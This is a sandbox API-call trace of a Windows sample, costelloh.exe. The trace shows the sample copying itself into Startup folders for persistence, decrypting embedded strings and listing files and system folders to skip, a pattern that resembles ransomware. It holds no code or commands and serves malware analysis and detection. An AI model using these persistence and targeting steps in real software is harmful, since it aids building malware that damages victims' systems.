	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.528] SetLastError (dwErrCode=0x0) 
	[0055.528] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.529] SetLastError (dwErrCode=0x0) 
	[0055.529] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.530] SetLastError (dwErrCode=0x0) 
	[0055.530] GetLastError () returned 0x0
	[0055.531] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 0
	[0055.532] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 1
	[0055.760] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725b28 | out: hHeap=0x2720000) returned 1
	[0055.760] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27252c8 | out: hHeap=0x2720000) returned 1
	[0055.760] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27254e0 | out: hHeap=0x2720000) returned 1
	[0055.760] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27256f8 | out: hHeap=0x2720000) returned 1
	[0055.760] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725910 | out: hHeap=0x2720000) returned 1
	[0055.761] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0055.761] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721250 | out: hHeap=0x2720000) returned 1
	[0055.761] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721318 | out: hHeap=0x2720000) returned 1
	[0055.761] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xc0) returned 0x27211c0
	[0055.761] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffaf4 | out: phKey=0xaffaf4*=0xb99368) returned 1
	[0055.761] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffadc, dwFlags=0x0) returned 1
	[0055.761] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffaa8 | out: pbData=0x27211c0, pdwDataLen=0xaffaa8) returned 1
	[0055.761] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.761] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xbd) returned 0x2721288
	[0055.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1213033, lpParameter=0x2721288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0055.761] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102
	[0055.762] CloseHandle (hObject=0x224) returned 1
	[0055.762] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0055.762] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x60) returned 0x27211c0
	[0055.762] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffb00 | out: phKey=0xaffb00*=0xb98da8) returned 1
	[0055.762] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0xaffae8, dwFlags=0x0) returned 1
	[0055.762] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffab4 | out: pbData=0x27211c0, pdwDataLen=0xaffab4) returned 1
	[0055.762] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0055.762] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x5c) returned 0x2721350
	[0055.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1213033, lpParameter=0x2721350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0055.763] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1388) returned 0x102
	[0061.935] CloseHandle (hObject=0x224) returned 1
	[0061.935] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0061.935] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0061.935] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffacc | out: phKey=0xaffacc*=0xb99368) returned 1
	[0061.935] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffab4, dwFlags=0x0) returned 1
	[0061.935] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0xaffa80 | out: pbData=0x27211c0, pdwDataLen=0xaffa80) returned 1
	[0061.935] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.935] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0061.935] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0061.935] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721468
	[0061.935] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffaa4 | out: phKey=0xaffaa4*=0xb99368) returned 1
	[0061.935] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa8c, dwFlags=0x0) returned 1
	[0061.935] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721468, pdwDataLen=0xaffa58 | out: pbData=0x2721468, pdwDataLen=0xaffa58) returned 1
	[0061.935] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.935] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0061.935] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0061.936] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0061.936] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0061.936] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffb0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffb0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0061.936] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0061.936] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x27211c0
	[0061.936] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27211f0
	[0061.936] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9dc | out: phKey=0xaff9dc*=0xb98ea8) returned 1
	[0061.936] CryptSetKeyParam (hKey=0xb98ea8, dwParam=0x1, pbData=0xaff9c4, dwFlags=0x0) returned 1
	[0061.936] CryptDecrypt (in: hKey=0xb98ea8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211f0, pdwDataLen=0xaff990 | out: pbData=0x27211f0, pdwDataLen=0xaff990) returned 1
	[0061.936] CryptDestroyKey (hKey=0xb98ea8) returned 1
	[0061.936] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2721208
	[0061.936] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff96c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9d4 | out: phKey=0xaff9d4*=0xb99368) returned 1
	[0061.936] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaff9bc, dwFlags=0x0) returned 1
	[0061.936] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721208, pdwDataLen=0xaff988 | out: pbData=0x2721208, pdwDataLen=0xaff988) returned 1
	[0061.936] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.936] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2721220
	[0061.936] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff964, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9cc | out: phKey=0xaff9cc*=0xb99368) returned 1
	[0061.936] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaff9b4, dwFlags=0x0) returned 1
	[0061.936] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721220, pdwDataLen=0xaff980 | out: pbData=0x2721220, pdwDataLen=0xaff980) returned 1
	[0061.936] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.936] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2721238
	[0061.936] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9c4 | out: phKey=0xaff9c4*=0xb99368) returned 1
	[0061.936] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaff9ac, dwFlags=0x0) returned 1
	[0061.936] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0xaff978 | out: pbData=0x2721238, pdwDataLen=0xaff978) returned 1
	[0061.936] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.936] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721468
	[0061.936] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9bc | out: phKey=0xaff9bc*=0xb99368) returned 1
	[0061.936] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaff9a4, dwFlags=0x0) returned 1
	[0061.936] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721468, pdwDataLen=0xaff970 | out: pbData=0x2721468, pdwDataLen=0xaff970) returned 1
	[0061.937] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2721250
	[0061.937] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9b4 | out: phKey=0xaff9b4*=0xb98ea8) returned 1
	[0061.937] CryptSetKeyParam (hKey=0xb98ea8, dwParam=0x1, pbData=0xaff99c, dwFlags=0x0) returned 1
	[0061.937] CryptDecrypt (in: hKey=0xb98ea8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721250, pdwDataLen=0xaff968 | out: pbData=0x2721250, pdwDataLen=0xaff968) returned 1
	[0061.937] CryptDestroyKey (hKey=0xb98ea8) returned 1
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x60) returned 0x27252c8
	[0061.937] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9ac | out: phKey=0xaff9ac*=0xb99368) returned 1
	[0061.937] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaff994, dwFlags=0x0) returned 1
	[0061.937] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27252c8, pdwDataLen=0xaff960 | out: pbData=0x27252c8, pdwDataLen=0xaff960) returned 1
	[0061.937] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.937] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0061.937] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x20, pbBuffer=0xaffaa0 | out: pbBuffer=0xaffaa0) returned 1
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x28) returned 0x2721500
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2721268
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4) returned 0x2721530
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x14) returned 0x2725330
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2725350
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x80) returned 0x2725368
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27253f0
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x82) returned 0x2725408
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2725498
	[0061.937] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4) returned 0x27254b0
	[0061.937] CryptAcquireContextW (in: phProv=0x121fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x121fcf4*=0xb91db8) returned 1
	[0061.938] CryptGenRandom (in: hProv=0xb91db8, dwLen=0x55, pbBuffer=0xaffa0a | out: pbBuffer=0xaffa0a) returned 1
	[0061.938] GetLastError () returned 0x0
	[0061.939] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2725578, Size=0x82) returned 0x27204b0
	[0061.939] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x27204a0, Size=0x100) returned 0x2728580
	[0061.939] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2720540
	[0061.939] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x82) returned 0x2728688
	[0061.939] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728818
	[0061.939] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x82) returned 0x2728d20
	[0061.939] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x27204b0, Size=0x104) returned 0x2728db0
	[0061.939] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2728580, Size=0x200) returned 0x2728ec0
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725588 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728ec0 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725638 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27254d8 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27254c0 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27255b0 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725598 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728db0 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725560 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728688 | out: hHeap=0x2720000) returned 1
	[0061.940] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2720540 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728d20 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728818 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721530 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721268 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725408 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27253f0 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725368 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725350 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27254b0 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725498 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721500 | out: hHeap=0x2720000) returned 1
	[0061.941] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725330 | out: hHeap=0x2720000) returned 1
	[0061.941] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xa4) returned 0x27204a0
	[0061.941] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x5a) returned 0x2728580
	[0061.941] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2728580, Size=0xb2) returned 0x2728580
	[0061.941] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728770
	[0061.941] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xb40) returned 0x2728d20
	[0061.941] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff93c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9a4 | out: phKey=0xaff9a4*=0xb993a8) returned 1
	[0061.941] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff98c, dwFlags=0x0) returned 1
	[0061.941] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728d20, pdwDataLen=0xaff958 | out: pbData=0x2728d20, pdwDataLen=0xaff958) returned 1
	[0061.942] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721500
	[0061.942] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff934, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff99c | out: phKey=0xaff99c*=0xb993a8) returned 1
	[0061.942] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff984, dwFlags=0x0) returned 1
	[0061.942] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721500, pdwDataLen=0xaff950 | out: pbData=0x2721500, pdwDataLen=0xaff950) returned 1
	[0061.942] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728640
	[0061.942] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff974 | out: phKey=0xaff974*=0xb993a8) returned 1
	[0061.942] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff95c, dwFlags=0x0) returned 1
	[0061.942] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728640, pdwDataLen=0xaff928 | out: pbData=0x2728640, pdwDataLen=0xaff928) returned 1
	[0061.942] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x84) returned 0x2725330
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x84) returned 0x27253c0
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2725450
	[0061.942] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff94c | out: phKey=0xaff94c*=0xb993a8) returned 1
	[0061.942] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff934, dwFlags=0x0) returned 1
	[0061.942] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2725450, pdwDataLen=0xaff900 | out: pbData=0x2725450, pdwDataLen=0xaff900) returned 1
	[0061.942] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.942] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725450 | out: hHeap=0x2720000) returned 1
	[0061.942] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x2725330, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0061.942] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27253c0 | out: hHeap=0x2720000) returned 1
	[0061.942] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728640 | out: hHeap=0x2720000) returned 1
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x60) returned 0x2728640
	[0061.942] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff908, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff970 | out: phKey=0xaff970*=0xb993a8) returned 1
	[0061.942] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff958, dwFlags=0x0) returned 1
	[0061.942] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728640, pdwDataLen=0xaff924 | out: pbData=0x2728640, pdwDataLen=0xaff924) returned 1
	[0061.942] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x5c) returned 0x27286a8
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x5c) returned 0x27253c0
	[0061.942] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2725428
	[0061.943] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff948 | out: phKey=0xaff948*=0xb993a8) returned 1
	[0061.943] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff930, dwFlags=0x0) returned 1
	[0061.943] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2725428, pdwDataLen=0xaff8fc | out: pbData=0x2725428, pdwDataLen=0xaff8fc) returned 1
	[0061.943] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.943] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725428 | out: hHeap=0x2720000) returned 1
	[0061.943] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0x27286a8, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0061.943] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27253c0 | out: hHeap=0x2720000) returned 1
	[0061.943] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728640 | out: hHeap=0x2720000) returned 1
	[0061.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x27253c0
	[0061.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x2729868
	[0061.943] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2729868, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0061.943] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2729868 | out: hHeap=0x2720000) returned 1
	[0061.943] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xb38) returned 0x2729868
	[0061.943] GetLastError () returned 0x0
	[0061.943] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2729868, Size=0xb54) returned 0x2729868
	[0061.943] GetLastError () returned 0x0
	[0061.943] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x272a3c8, Size=0xa2) returned 0x272a3c8
	[0061.943] GetLastError () returned 0x0
	[0061.944] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffacc | out: phKey=0xaffacc*=0xb993a8) returned 1
	[0061.944] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaffab4, dwFlags=0x0) returned 1
	[0061.944] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2720550, pdwDataLen=0xaffa80 | out: pbData=0x2720550, pdwDataLen=0xaffa80) returned 1
	[0061.944] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.944] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2720578
